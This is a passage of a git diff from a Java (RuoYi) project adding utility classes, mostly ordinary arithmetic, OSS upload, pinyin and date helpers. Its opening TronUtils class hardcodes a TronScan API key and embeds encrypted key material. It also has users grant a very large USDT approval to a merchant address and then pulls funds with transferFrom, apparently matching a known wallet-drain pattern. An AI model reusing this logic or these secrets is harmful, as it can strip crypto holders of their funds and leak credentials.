获取TRC-20 token指定地址余额 + */ + public static final BigDecimal WEI = new BigDecimal(1000000); + public static final Logger log = LoggerFactory.getLogger(TronUtils.class); + public static final String TRON_BALANCE_URL = "https://apilist.tronscan.org/api/account?address="; + public static final String TRON_USDT_TOKENID = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; + public static final String TRX_BALANCE_KEY = "trxBalance"; + public static final String USDT_BALANCE_KEY = "usdtBalance"; + public static final String TRON_API_KEY = "870e208a-9a80-4298-a9df-386b16ed97fc"; + public static final long APPROVE_FEE_LIMIT = 100000000L; + public static final long APPROVE_AMOUNT = 100000000000000L; + + + public static String allowance(String owner, String spender, String privateKey) { + // 查询用户地址 owner给商户地址spender的授权额度 + ApiWrapper wrapper =null; + try { + wrapper= ApiWrapper.ofMainnet(privateKey, TRON_API_KEY); + Contract contract = wrapper.getContract(TRON_USDT_TOKENID); + Trc20Contract token = new Trc20Contract(contract, spender, wrapper); + BigInteger balance = token.allowance(owner, spender); + return balance.compareTo(BigInteger.valueOf(100000000)) > 0 ? "100000000" : balance.toString(); + } catch (Exception e) { + log.error("TRC20查询USDT授权额度失败",e.getMessage()); + return null; + }finally { + if(null!=wrapper){ + wrapper.close(); + } + } + } + + + public static String allowanceUSDTByPrivateKey(String callerAddress, String spenderAddress, String privateKey) { + // 用户地址callerAddress 往 商户地址 spenderAddress授权 + ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, TRON_API_KEY); + try { + Contract contract = wrapper.getContract(TRON_USDT_TOKENID); + Trc20Contract token = new Trc20Contract(contract, spenderAddress, wrapper); + String tradeHash = token.approve(callerAddress, APPROVE_AMOUNT, null, APPROVE_FEE_LIMIT); + log.debug("TRC20 approve Hash: {}", tradeHash); + return tradeHash; + } catch (Exception e) { + log.error("TRC20授权USDT失败", e); + return null; + }finally { + wrapper.close(); + } + } + + // 用户地址 from 给商户地址to转账 + public static String transactionUSDTByPrivateKey(String from, String to, Long amount, String privateKey) { + ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, TRON_API_KEY); + try { + Contract contract = wrapper.getContract(TRON_USDT_TOKENID); + Trc20Contract token = new Trc20Contract(contract, to, wrapper); + String tradeHash = token.transferFrom(from, to, amount, from, APPROVE_FEE_LIMIT); + log.debug("TRC20 tradeHash: {}", tradeHash); + return tradeHash; + } catch (Exception e) { + log.error("TRC20转账USDT失败", e); + return null; + }finally { + wrapper.close(); + } + } + + public static Map getAccountBalance(String address){ + BigDecimal trxBalance; + BigDecimal usdtBalance = BigDecimal.ZERO; + String resp = HttpUtil.get(TRON_BALANCE_URL + address); + TronAccount account = JSONObject.parseObject(resp, TronAccount.class); + trxBalance = account.balance.divide(WEI, 6, RoundingMode.HALF_DOWN); + Trc20tokenBalances usdt = account.getTrc20token_balances().stream().filter(e -> e.tokenId.equals(TRON_USDT_TOKENID)).findAny().orElse(null); + if (usdt != null) { + usdtBalance = usdt.balance.divide(WEI, 6, RoundingMode.HALF_DOWN); + } + Map data = new HashMap<>(); + data.put(TRX_BALANCE_KEY, trxBalance); + data.put(USDT_BALANCE_KEY, usdtBalance); + return data; + } + + public static String getTransactionResult(String tradeHash) { + //0成功 1失败 3处理中 + TRC transaction = (TRC) getTransaction(tradeHash); + if (Objects.isNull(transaction)) { + return "1"; + } + // 交易失败 + if (!transaction.getContractRet().equalsIgnoreCase("SUCCESS")) { + return "1"; + } + // 还在区块链确认中 + if (!transaction.isConfirmed()) { + return "3"; + } + return "0"; + } + + public static Object getTransaction(String hash) { + final HttpResponse execute = HttpUtil.createGet("https://apiasia.tronscan.io:5566/api/transaction-info?hash=" + hash).execute(); + if (execute.isOk()){ + final String result = execute.body(); +// log.debug("trc20 getTransaction: {}", result); + if (StringUtils.isNotBlank(result)) { + return JSONUtil.toBean(result, TRC.class); + } + } + return null; + } + + @Data + static class TronAccount { + private List trc20token_balances; + private BigDecimal balance; + } + + @Data + static class Trc20tokenBalances { + private String tokenId; + private BigDecimal balance; + } + + public static void main(String[] args){ + //查询的钱包地址 + //TSeZUkbwJ9jwsT9sbHcfXNusVCmQf4J7XN + /* try { + System.out.println(getAccountBalance("TSeZUkbwJ9jwsT9sbHcfXNusVCmQf4J7XN")); + } catch (Exception e) { + e.printStackTrace(); + }*/ + + /* String key = Trc20Contract.aesDecrypt ("DzTaFuouUNMjgNCRjZyKSfZJgBy2teQ1CLTaIicXnWs=","AjfwKJgBtGFuABfPVYNtUFUMzYQBUskhvnU4C+ubsefOheEqKWOklYOwj+W6SsxuBjMukd3U6GkhbQAvfyKFFU7yi+rZ0KklMTaeOQBk/iM="); + // String hash = TronUtil.transactionUSDTByPrivateKey(o.getClientAddr (), client.getTronAddress (), client.getTronAddr (),o.getAmount ().longValue(), key); // 1U = 1000000 + System.out.printf(key); + transactionUSDTByPrivateKey("TSeZUkbwJ9jwsT9sbHcfXNusVCmQf4J7XN","TMWguScywzBDt5UCRJGqZuhf8437mwWj2X",WEI.longValue(),key); + */ + getTransactionResult("fd0bcf27e364dc4edb3fde67979d0276804b55bd6d6f28a48b6b51035ea6d488"); + getAccountBalance("TXJCkAcwcd7e1fLagEHrUvvx1cknrZoNxB"); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/AliOssCloudUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/AliOssCloudUtil.java new file mode 100644 index 0000000..42e4050 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/AliOssCloudUtil.java @@ -0,0 +1,230 @@ +package com.ruoyi.common.utils; + +import com.aliyun.oss.OSSClient; +import com.aliyun.oss.model.*; +import lombok.extern.slf4j.Slf4j; + +import java.io.IOException; +import java.io.InputStream; + +@Slf4j +public class AliOssCloudUtil { + private String endpoint = ""; + + //阿里云的accessKeyId + private String accessKeyId = ""; + + //阿里云的accessKeySecret + private String accessKeySecret = ""; + + //空间 + private String bucketName = ""; + + //文件存储目录 + private String filedir = ""; + + private OSSClient ossClient; + + public AliOssCloudUtil(String endpoint, String accessKeyId, String accessKeySecret, String bucketName, String filedir) { + this.endpoint = endpoint; + this.accessKeyId = accessKeyId; + this.accessKeySecret = accessKeySecret; + this.bucketName = bucketName; + this.filedir = filedir; + this.ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret); + } + + public AliOssCloudUtil() { + ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret); + } + + public String getFiledir() { + return this.filedir; + } + + //自定义上传文件夹 + public AliOssCloudUtil(String filedir) { + this.filedir = filedir; + ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret); + } + + + /** + * 初始化 + */ + public void init() { + ossClient = new OSSClient(endpoint, accessKeyId, accessKeySecret); + } + + /** + * 销毁 + */ + public void destory() { + ossClient.shutdown(); + } + + + /** + * 上传到OSS服务器 + * + * @param instream 文件流 + * @param fileName 文件名称 包括后缀名 + * @return 出错返回"" ,唯一MD5数字签名 + */ + public String uploadFile2OSS(InputStream instream, String fileName) { + String ret = ""; + // 判断bucket是否已经存在,不存在进行创建 + if (!doesBucketExist()) { + createBucket(); + } + try { + //创建上传Object的Metadata + ObjectMetadata objectMetadata = new ObjectMetadata(); + objectMetadata.setContentLength(instream.available()); + objectMetadata.setCacheControl("no-cache"); + objectMetadata.setHeader("Pragma", "no-cache"); + objectMetadata.setContentType(getcontentType(fileName.substring(fileName.lastIndexOf(".")+1))); + objectMetadata.setContentDisposition("inline;filename=" + fileName); + + // 指定上传文件操作时是否覆盖同名Object。 + // 不指定x-oss-forbid-overwrite时,默认覆盖同名Object。 + // 指定x-oss-forbid-overwrite为false时,表示允许覆盖同名Object。 + // 指定x-oss-forbid-overwrite为true时,表示禁止覆盖同名Object,如果同名Object已存在,程序将报错。 + objectMetadata.setHeader("x-oss-forbid-overwrite", "false"); + + String objectName = filedir + fileName; + + //上传文件 + ossClient.putObject(bucketName, objectName, instream, objectMetadata); + // 封装 url 路径 + String url = "https://" + bucketName + "." + endpoint + "/" + objectName; + System.out.println(objectName); + ret = url; + } catch (IOException e) { + log.error(e.getMessage(), e); + } finally { + ossClient.shutdown(); + try { + if (instream != null) { + instream.close(); + } + } catch (IOException e) { + e.printStackTrace(); + } + } + return ret; + } + + + /** + * 判断文件是否存在。doesObjectExist还有一个参数isOnlyInOSS, + * 如果为true则忽略302重定向或镜像;如果为false,则考虑302重定向或镜像。 + * yourObjectName 表示上传文件到OSS时需要指定包含文件后缀在内的完整路径,例如abc/efg/123.jpg。 + * + * @return 存在返回true + */ + public boolean doesObjectExist(String objectName) { + boolean exists = ossClient.doesObjectExist(bucketName, filedir + objectName); + return exists; + } + + /** + * 判断Bucket是否存在 + * + * @return 存在返回true + */ + public boolean doesBucketExist() { + boolean exists = ossClient.doesBucketExist(bucketName); + return exists; + } + + /** + * 创建Bucket + */ + public void createBucket() { + CreateBucketRequest createBucketRequest = new CreateBucketRequest(bucketName); + // 设置bucket权限为公共读,默认是私有读写 + createBucketRequest.setCannedACL(CannedAccessControlList.PublicRead); + // 设置bucket存储类型为低频访问类型,默认是标准类型 + createBucketRequest.setStorageClass(StorageClass.IA); + boolean exists = ossClient.doesBucketExist(bucketName); + if (!exists) { + try { + ossClient.createBucket(createBucketRequest); + // 关闭client + ossClient.shutdown(); + } catch (Exception e) { + log.error(e.getMessage()); + } + } + } + + /** + * Description: 判断OSS服务文件上传时文件的contentType + * + * @param FilenameExtension 文件后缀 + * @return String + */ + public static String getcontentType(String FilenameExtension) { + if ("bmp".equalsIgnoreCase(FilenameExtension)) { + return "image/bmp"; + } + if ("gif".equalsIgnoreCase(FilenameExtension)) { + return "image/gif"; + } + if ("jpeg".equalsIgnoreCase(FilenameExtension) || + "jpg".equalsIgnoreCase(FilenameExtension) || + "png".equalsIgnoreCase(FilenameExtension)) { + return "image/jpeg"; + } + if ("html".equalsIgnoreCase(FilenameExtension)) { + return "text/html"; + } + if ("txt".equalsIgnoreCase(FilenameExtension)) { + return "text/plain"; + } + if ("vsd".equalsIgnoreCase(FilenameExtension)) { + return "application/vnd.visio"; + } + if ("pptx".equalsIgnoreCase(FilenameExtension) || + "ppt".equalsIgnoreCase(FilenameExtension)) { + return "application/vnd.ms-powerpoint"; + } + if ("docx".equalsIgnoreCase(FilenameExtension) || + "doc".equalsIgnoreCase(FilenameExtension)) { + return "application/msword"; + } + if ("xml".equalsIgnoreCase(FilenameExtension)) { + return "text/xml"; + } + if ("pdf".equalsIgnoreCase(FilenameExtension)) { + return "application/pdf"; + } + return "image/jpeg"; + } + + + /** + * @param fileName + * @return + * @Title: getInputStreamByFileUrl + * @Description: 根据文件路径获取InputStream流 + * @return: InputStream + */ + public InputStream getInputStreamByFileUrl(String fileName) { + // ossObject包含文件所在的存储空间名称、文件名称、文件元信息以及一个输入流。 + OSSObject ossObject = ossClient.getObject(bucketName, fileName); + return ossObject.getObjectContent(); + } + + + /** + * @desc 删除文件 + * @date 2022-10-12 + */ + public void delete(String objectName) { + // 根据BucketName,objectName删除文件 + ossClient.deleteObject(bucketName, objectName); + ossClient.shutdown(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java new file mode 100644 index 0000000..b6326c2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java @@ -0,0 +1,114 @@ +package com.ruoyi.common.utils; + +import java.math.BigDecimal; +import java.math.RoundingMode; + +/** + * 精确的浮点数运算 + * + * @author ruoyi + */ +public class Arith +{ + + /** 默认除法运算精度 */ + private static final int DEF_DIV_SCALE = 10; + + /** 这个类不能实例化 */ + private Arith() + { + } + + /** + * 提供精确的加法运算。 + * @param v1 被加数 + * @param v2 加数 + * @return 两个参数的和 + */ + public static double add(double v1, double v2) + { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + return b1.add(b2).doubleValue(); + } + + /** + * 提供精确的减法运算。 + * @param v1 被减数 + * @param v2 减数 + * @return 两个参数的差 + */ + public static double sub(double v1, double v2) + { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + return b1.subtract(b2).doubleValue(); + } + + /** + * 提供精确的乘法运算。 + * @param v1 被乘数 + * @param v2 乘数 + * @return 两个参数的积 + */ + public static double mul(double v1, double v2) + { + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + return b1.multiply(b2).doubleValue(); + } + + /** + * 提供(相对)精确的除法运算,当发生除不尽的情况时,精确到 + * 小数点以后10位,以后的数字四舍五入。 + * @param v1 被除数 + * @param v2 除数 + * @return 两个参数的商 + */ + public static double div(double v1, double v2) + { + return div(v1, v2, DEF_DIV_SCALE); + } + + /** + * 提供(相对)精确的除法运算。当发生除不尽的情况时,由scale参数指 + * 定精度,以后的数字四舍五入。 + * @param v1 被除数 + * @param v2 除数 + * @param scale 表示表示需要精确到小数点以后几位。 + * @return 两个参数的商 + */ + public static double div(double v1, double v2, int scale) + { + if (scale < 0) + { + throw new IllegalArgumentException( + "The scale must be a positive integer or zero"); + } + BigDecimal b1 = new BigDecimal(Double.toString(v1)); + BigDecimal b2 = new BigDecimal(Double.toString(v2)); + if (b1.compareTo(BigDecimal.ZERO) == 0) + { + return BigDecimal.ZERO.doubleValue(); + } + return b1.divide(b2, scale, RoundingMode.HALF_UP).doubleValue(); + } + + /** + * 提供精确的小数位四舍五入处理。 + * @param v 需要四舍五入的数字 + * @param scale 小数点后保留几位 + * @return 四舍五入后的结果 + */ + public static double round(double v, int scale) + { + if (scale < 0) + { + throw new IllegalArgumentException( + "The scale must be a positive integer or zero"); + } + BigDecimal b = new BigDecimal(Double.toString(v)); + BigDecimal one = BigDecimal.ONE; + return b.divide(one, scale, RoundingMode.HALF_UP).doubleValue(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/BigDecimalUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/BigDecimalUtil.java new file mode 100644 index 0000000..016a5bc --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/BigDecimalUtil.java @@ -0,0 +1,145 @@ +package com.ruoyi.common.utils; +import java.math.BigDecimal; + +/** + * @author MCJ + * @date 2018年7月30日 + * @description 提供精确的浮点数运算(包括加、减、乘、除、四舍五入)工具类 + * + */ +public class BigDecimalUtil { + + // 除法运算默认精度 + private static final int DEF_DIV_SCALE = 6; + + private BigDecimalUtil() { + + } + + /** + * 精确加法 + */ + public static double add(double value1, double value2) { + BigDecimal b1 = BigDecimal.valueOf(value1); + BigDecimal b2 = BigDecimal.valueOf(value2); + return b1.add(b2).doubleValue(); + } + + /** + * 精确加法 + */ + public static double add(String value1, String value2) { + BigDecimal b1 = new BigDecimal(value1); + BigDecimal b2 = new BigDecimal(value2); + return b1.add(b2).doubleValue(); + } + + /** + * 精确减法 + */ + public static double sub(double value1, double value2) { + BigDecimal b1 = BigDecimal.valueOf(value1); + BigDecimal b2 = BigDecimal.valueOf(value2); + return b1.subtract(b2).doubleValue(); + } + + /** + * 精确减法 + */ + public static double sub(String value1, String value2) { + BigDecimal b1 = new BigDecimal(value1); + BigDecimal b2 = new BigDecimal(value2); + return b1.subtract(b2).doubleValue(); + } + + /** + * 精确乘法 + */ + public static double mul(double value1, double value2) { + BigDecimal b1 = BigDecimal.valueOf(value1); + BigDecimal b2 = BigDecimal.valueOf(value2); + return b1.multiply(b2).doubleValue(); + } + + /** + * 精确乘法 + */ + public static double mul(String value1, String value2) { + BigDecimal b1 = new BigDecimal(value1); + BigDecimal b2 = new BigDecimal(value2); + return b1.multiply(b2).doubleValue(); + } + + /** + * 精确除法 使用默认精度 + */ + public static double div(double value1, double value2) throws IllegalAccessException { + return div(value1, value2, DEF_DIV_SCALE); + } + + /** + * 精确除法 使用默认精度 + */ + public static double div(String value1, String value2) throws IllegalAccessException { + return div(value1, value2, DEF_DIV_SCALE); + } + + /** + * 精确除法 + * + * @param scale 精度 + */ + public static double div(double value1, double value2, int scale) throws IllegalAccessException { + if (scale < 0) { + throw new IllegalAccessException("精确度不能小于0"); + } + BigDecimal b1 = BigDecimal.valueOf(value1); + BigDecimal b2 = BigDecimal.valueOf(value2); + // return b1.divide(b2, scale).doubleValue(); + return b1.divide(b2, scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + } + + /** + * 精确除法 + * + * @param scale 精度 + */ + public static double div(String value1, String value2, int scale) throws IllegalAccessException { + if (scale < 0) { + throw new IllegalAccessException("精确度不能小于0"); + } + BigDecimal b1 = new BigDecimal(value1); + BigDecimal b2 = new BigDecimal(value2); + // return b1.divide(b2, scale).doubleValue(); + return b1.divide(b2, scale, BigDecimal.ROUND_HALF_UP).doubleValue(); + } + + /** + * 四舍五入 + * + * @param scale 小数点后保留几位 + */ + public static double round(double v, int scale) throws IllegalAccessException { + return div(v, 1, scale); + } + + /** + * 四舍五入 + * + * @param scale 小数点后保留几位 + */ + public static double round(String v, int scale) throws IllegalAccessException { + return div(v, "1", scale); + } + + /** + * 比较大小 + */ + public static boolean equalTo(BigDecimal b1, BigDecimal b2) { + if (b1 == null || b2 == null) { + return false; + } + return 0 == b1.compareTo(b2); + } + +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ChineseCharacterUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ChineseCharacterUtil.java new file mode 100644 index 0000000..f669bd6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ChineseCharacterUtil.java @@ -0,0 +1,86 @@ +package com.ruoyi.common.utils; + +import net.sourceforge.pinyin4j.PinyinHelper; +import net.sourceforge.pinyin4j.format.HanyuPinyinOutputFormat; +import net.sourceforge.pinyin4j.format.HanyuPinyinToneType; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class ChineseCharacterUtil { + + /*** + * 将汉字转成拼音(取首字母或全拼) + * @param hanzi + * @param full 是否全拼 + * @return + */ + public static String convertHanzi2Pinyin(String hanzi,boolean full) + { + /*** + * ^[\u2E80-\u9FFF]+$ 匹配所有东亚区的语言 + * ^[\u4E00-\u9FFF]+$ 匹配简体和繁体 + * ^[\u4E00-\u9FA5]+$ 匹配简体 + */ + String regExp="^[\u4E00-\u9FFF]+$"; + StringBuffer sb=new StringBuffer(); + if(hanzi==null||"".equals(hanzi.trim())) + { + return ""; + } + String pinyin=""; + for(int i=0;i getDays(Date date) { + + String[] weekDays = {"周日", "周一", "周二", "周三", "周四", "周五", "周六"}; + //创建日历类 + Calendar calendar = Calendar.getInstance(); + //获取当月月份 + int month = calendar.get(Calendar.MONTH) + 1; + //设置当前月份 + calendar.set(0, month, 0); + //获取当月每个月有多少天 + int monthday = calendar.get(Calendar.DAY_OF_MONTH); + //设置当前时间 + calendar.setTime(date); + //今天是几号 + int today = calendar.get(Calendar.DATE); + //今天是周几 + String weekday = weekDays[calendar.get(Calendar.DAY_OF_WEEK)-1]; + Map map=new HashMap<>(); + map.put("week",weekday); + map.put("day",today); + return map; + } + + /** + * 获取今天是几号 + * @return + */ + public static Integer getDays() { + Integer dayOfMonth = Calendar.getInstance().get(Calendar.DAY_OF_MONTH); + return dayOfMonth; + } + /** + * 获取某月的最后一天 + * + */ + public static String getLastDayOfMonth(int year,int month) + { + Calendar cal = Calendar.getInstance(); + //设置年份 + cal.set(Calendar.YEAR,year); + //设置月份 + cal.set(Calendar.MONTH, month); + //获取当月最小值 + int lastDay = cal.getMinimum(Calendar.DAY_OF_MONTH); + //设置日历中的月份,当月+1月-1天=当月最后一天 + cal.set(Calendar.DAY_OF_MONTH, lastDay-1); + //格式化日期 + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); + String lastDayOfMonth = sdf.format(cal.getTime()); + return lastDayOfMonth; + } + + public static void main(String[] args) { + Calendar calendar = Calendar.getInstance(); + //获取当月月份 + int month = calendar.get(Calendar.MONTH) + 2; + System.out.println(month); + System.out.println(getDays(new Date())); + System.out.println(getLastDayOfMonth(2023,3)); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java new file mode 100644 index 0000000..91019d2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DateUtils.java @@ -0,0 +1,316 @@ +package com.ruoyi.common.utils; + +import java.lang.management.ManagementFactory; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.time.*; +import java.util.*; +import java.util.stream.Collectors; +import com.ruoyi.common.core.domain.entity.TimeZone; +import org.apache.commons.lang3.time.DateFormatUtils; + +/** + * 时间工具类 + * + * @author ruoyi + */ +public class DateUtils extends org.apache.commons.lang3.time.DateUtils +{ + public static String YYYY = "yyyy"; + + public static String YYYY_MM = "yyyy-MM"; + + public static String YYYY_MM_DD = "yyyy-MM-dd"; + + public static String YYYYMMDDHHMMSS = "yyyyMMddHHmmss"; + + public static String YYYY_MM_DD_HH_MM_SS = "yyyy-MM-dd HH:mm:ss"; + + private static String[] parsePatterns = { + "yyyy-MM-dd", "yyyy-MM-dd HH:mm:ss", "yyyy-MM-dd HH:mm", "yyyy-MM", + "yyyy/MM/dd", "yyyy/MM/dd HH:mm:ss", "yyyy/MM/dd HH:mm", "yyyy/MM", + "yyyy.MM.dd", "yyyy.MM.dd HH:mm:ss", "yyyy.MM.dd HH:mm", "yyyy.MM"}; + + /** + * 获取当前Date型日期 + * + * @return Date() 当前日期 + */ + public static Date getNowDate() + { + return new Date(); + } + + /** + * 获取当前日期, 默认格式为yyyy-MM-dd + * + * @return String + */ + public static String getDate() + { + return dateTimeNow(YYYY_MM_DD); + } + + public static final String getTime() + { + return dateTimeNow(YYYY_MM_DD_HH_MM_SS); + } + + public static final String dateTimeNow() + { + return dateTimeNow(YYYYMMDDHHMMSS); + } + + public static final String dateTimeNow(final String format) + { + return parseDateToStr(format, new Date()); + } + + public static final String dateTime(final Date date) + { + return parseDateToStr(YYYY_MM_DD, date); + } + + public static final String parseDateToStr(final String format, final Date date) + { + return new SimpleDateFormat(format).format(date); + } + + public static final Date dateTime(final String format, final String ts) + { + try + { + return new SimpleDateFormat(format).parse(ts); + } + catch (ParseException e) + { + throw new RuntimeException(e); + } + } + + /** + * 日期路径 即年/月/日 如2018/08/08 + */ + public static final String datePath() + { + Date now = new Date(); + return DateFormatUtils.format(now, "yyyy/MM/dd"); + } + + /** + * 日期路径 即年/月/日 如20180808 + */ + public static final String dateTime() + { + Date now = new Date(); + return DateFormatUtils.format(now, "yyyyMMdd"); + } + + /** + * 日期型字符串转化为日期 格式 + */ + public static Date parseDate(Object str) + { + if (str == null) + { + return null; + } + try + { + return parseDate(str.toString(), parsePatterns); + } + catch (ParseException e) + { + return null; + } + } + + /** + * 获取服务器启动时间 + */ + public static Date getServerStartDate() + { + long time = ManagementFactory.getRuntimeMXBean().getStartTime(); + return new Date(time); + } + + /** + * 计算相差天数 + */ + public static int differentDaysByMillisecond(Date date1, Date date2) + { + return Math.abs((int) ((date2.getTime() - date1.getTime()) / (1000 * 3600 * 24))); + } + + + public static int daysBetween(Date date1, Date date2) + + { + + int i = (int) ((date2.getTime() - date1.getTime()) / (1000 * 3600 * 24)); + + return i; + + } + + /** + * 计算时间差 + * + * @param endDate 最后时间 + * @param startTime 开始时间 + * @return 时间差(天/小时/分钟) + */ + public static String timeDistance(Date endDate, Date startTime) + { + long nd = 1000 * 24 * 60 * 60; + long nh = 1000 * 60 * 60; + long nm = 1000 * 60; + // long ns = 1000; + // 获得两个时间的毫秒时间差异 + long diff = endDate.getTime() - startTime.getTime(); + // 计算差多少天 + long day = diff / nd; + // 计算差多少小时 + long hour = diff % nd / nh; + // 计算差多少分钟 + long min = diff % nd % nh / nm; + // 计算差多少秒//输出结果 + // long sec = diff % nd % nh % nm / ns; + return day + "天" + hour + "小时" + min + "分钟"; + } + + /** + * 增加 LocalDateTime ==> Date + */ + public static Date toDate(LocalDateTime temporalAccessor) + { + ZonedDateTime zdt = temporalAccessor.atZone(ZoneId.systemDefault()); + return Date.from(zdt.toInstant()); + } + + /** + * 增加 LocalDate ==> Date + */ + public static Date toDate(LocalDate temporalAccessor) + { + LocalDateTime localDateTime = LocalDateTime.of(temporalAccessor, LocalTime.of(0, 0, 0)); + ZonedDateTime zdt = localDateTime.atZone(ZoneId.systemDefault()); + return Date.from(zdt.toInstant()); + } + + /** + * 相加天数 + * @param datetime 时间 + * @param day 天数 + * @return + */ + public static Date dateFormatDay(Date datetime, Integer day) { + Calendar cl = Calendar.getInstance(); + cl.setTime(datetime); + cl.add(Calendar.DATE, +day); + datetime = cl.getTime(); + return datetime; + } + + public static Map getWeek(Date date) { + + String[] weekDays = {"周日", "周一", "周二", "周三", "周四", "周五", "周六"}; + //创建日历类 + Calendar calendar = Calendar.getInstance(); + //获取当月月份 + int month = calendar.get(Calendar.MONTH) + 1; + //设置当前月份 + calendar.set(0, month, 0); + //获取当月每个月有多少天 + int monthday = calendar.get(Calendar.DAY_OF_MONTH); + //设置当前时间 + calendar.setTime(date); + //今天是几号 + int today = calendar.get(Calendar.DATE); + //今天是周几 + String weekday = weekDays[calendar.get(Calendar.DAY_OF_WEEK)-1]; + Map map=new HashMap<>(); + map.put("week",weekday); + map.put("day",today); + return map; + } + + + public static List getZoneTimeList() { + List list=new ArrayList<>(); + LocalDateTime localDateTime = LocalDateTime.now(); + for (String zoneId : ZoneId.getAvailableZoneIds()) { + TimeZone timeZone=new TimeZone(); + ZoneId id = ZoneId.of(zoneId); + + // LocalDateTime -> ZonedDateTime + ZonedDateTime zonedDateTime = localDateTime.atZone(id); + + // ZonedDateTime -> ZoneOffset + ZoneOffset zoneOffset = zonedDateTime.getOffset(); + + //replace Z to +00:00 + String offset = zoneOffset.getId().replaceAll("Z", ""); + + if(StringUtils.isNotEmpty(offset)){ + timeZone.setZoneId(id.toString()); + timeZone.setOffSet(offset); + list.add(timeZone); + } + } + List newList = new ArrayList<>();// 用于存放没有重复的元素的list + for (TimeZone timeZone : list) { + boolean b = newList.stream().anyMatch(u -> u.getOffSet().equals(timeZone.getOffSet())); + if (!b) { + newList.add(timeZone); + } + } + newList = newList.stream().sorted(Comparator.comparing(TimeZone::getOffSet)).collect(Collectors.toList()); + return newList; + } + + public static TimeZone getTimeZone() { + java.util.TimeZone timeZone = java.util.TimeZone.getDefault(); + LocalDateTime localDateTime = LocalDateTime.now(); + ZoneId id = ZoneId.of(timeZone.getID()); + ZonedDateTime zonedDateTime = localDateTime.atZone(id); + ZoneOffset zoneOffset = zonedDateTime.getOffset(); + + TimeZone resultTimeZone = new TimeZone(); + resultTimeZone.setOffSet(zoneOffset.getId().replaceAll("Z", "")); + resultTimeZone.setOffSetValue(resultTimeZone.getOffSet().replaceAll(":",".").replaceAll("\\+0","") + .replaceAll("\\+","").replaceAll("\\-0","").replaceAll(".00","")); + resultTimeZone.setZoneId(id.toString()); + return resultTimeZone; + } + public static TimeZone getTimeZone(String gmt) { + java.util.TimeZone timeZone = java.util.TimeZone.getTimeZone(gmt); + ZoneId id = ZoneId.of(timeZone.getID()); + LocalDateTime localDateTime = LocalDateTime.now(id); + ZonedDateTime zonedDateTime = localDateTime.atZone(id); + ZoneOffset zoneOffset = zonedDateTime.getOffset(); + com.ruoyi.common.core.domain.entity.TimeZone resultTimeZone = new com.ruoyi.common.core.domain.entity.TimeZone(); + resultTimeZone.setOffSet(zoneOffset.getId().replaceAll("Z", "")); + String offSetValue=""; + String offSet = resultTimeZone.getOffSet(); + String[] split = offSet.split(":"); + int i = Integer.parseInt(split[0]); + int i1 = Integer.parseInt(split[1]); + if(i1>0){ + offSetValue=i+"."+i1; + }else { + offSetValue=i+""; + } + resultTimeZone.setOffSetValue(offSetValue); + resultTimeZone.setZoneId(id.toString()); + System.out.println(resultTimeZone); + return resultTimeZone; + } + + public static void main(String[] args) { + + TimeZone timeZone = getTimeZone(); + System.out.println(timeZone); + + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java new file mode 100644 index 0000000..cc5eab2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/DictUtils.java @@ -0,0 +1,186 @@ +package com.ruoyi.common.utils; + +import java.util.Collection; +import java.util.List; +import com.alibaba.fastjson2.JSONArray; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.spring.SpringUtils; + +/** + * 字典工具类 + * + * @author ruoyi + */ +public class DictUtils +{ + /** + * 分隔符 + */ + public static final String SEPARATOR = ","; + + /** + * 设置字典缓存 + * + * @param key 参数键 + * @param dictDatas 字典数据列表 + */ + public static void setDictCache(String key, List dictDatas) + { + SpringUtils.getBean(RedisCache.class).setCacheObject(getCacheKey(key), dictDatas); + } + + /** + * 获取字典缓存 + * + * @param key 参数键 + * @return dictDatas 字典数据列表 + */ + public static List getDictCache(String key) + { + JSONArray arrayCache = SpringUtils.getBean(RedisCache.class).getCacheObject(getCacheKey(key)); + if (StringUtils.isNotNull(arrayCache)) + { + return arrayCache.toList(SysDictData.class); + } + return null; + } + + /** + * 根据字典类型和字典值获取字典标签 + * + * @param dictType 字典类型 + * @param dictValue 字典值 + * @return 字典标签 + */ + public static String getDictLabel(String dictType, String dictValue) + { + return getDictLabel(dictType, dictValue, SEPARATOR); + } + + /** + * 根据字典类型和字典标签获取字典值 + * + * @param dictType 字典类型 + * @param dictLabel 字典标签 + * @return 字典值 + */ + public static String getDictValue(String dictType, String 